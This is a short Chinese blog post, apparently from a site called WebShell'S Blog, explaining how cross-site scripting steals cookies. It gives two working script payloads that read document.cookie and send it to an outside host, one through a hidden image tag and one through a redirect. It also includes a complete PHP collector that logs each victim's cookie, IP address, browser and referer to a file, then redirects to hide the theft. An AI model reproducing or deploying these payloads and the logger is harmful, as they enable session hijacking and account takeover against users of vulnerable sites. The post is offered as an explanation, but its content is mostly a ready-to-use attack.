跨站提取cookie的原理
个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。
跨站提取cookie的原理 等价于
如何从在浏览器中获取cookie + 发送cookie到指定url
比如:
<script>document.write('<img src="https://www.webshell.cc/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
或者
<script>document.location = 'https://www.webshell.cc/test.php?cookie=' + document.cookie;</script>
依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交
而test.php中的内容类似于:
<?php $cookie = $_GET['cookie']; //以GET方式获取cookie变量值 $ip = getenv ('REMOTE_ADDR'); //远程主机IP地址 $time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间 $referer=getenv ('HTTP_REFERER'); //链接来源 $agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型 $fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它 fwrite($fp," IP: " .$ip. "n Date and Time: " .$time. "n User Agent:".$agent."n Referer: ".$referer."n Cookie: ".$cookie."nnn"); //写入文件 fclose($fp); //关闭文件 header("Location: https://www.webshell.cc"); //将网页重定向到本站,增强隐蔽性 ?>
这些用户数据来源于HTTP数据包中的浏览器头部信息
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2751.html
document.write('');
文章来自: WebShell'S Blog 本文地址:https://www.webshell.cc/2751.html